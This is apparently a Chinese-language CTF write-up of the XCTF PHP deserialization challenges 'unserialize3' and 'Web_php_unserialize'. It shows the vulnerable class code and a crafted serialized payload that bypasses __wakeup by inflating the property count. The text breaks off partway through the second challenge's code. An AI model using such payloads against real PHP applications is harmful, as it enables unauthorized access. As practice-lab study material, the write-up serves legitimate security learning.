unserialize3
class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code=
首先观察代码。有一个—wakeup()魔术方法。?code= 所以序列化后的参数需要从这里输入。
<?php class xctf{ public $flag = '111'; } $b=new xctf(); echo serialize($b); ?>
借用代码实现xctf的序列化:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
但反序列化执行前会触发_wakeup魔术方法,干扰代码的执行,所以我们需要绕过__wakeup魔术方法。需要将对象属性个数的值大与本身属性的个数,比如O:4:"xctf":2:{s:4:"flag";s:3:"111";}
然后?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}就可以得到flag。
Web_php_unserialize
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function _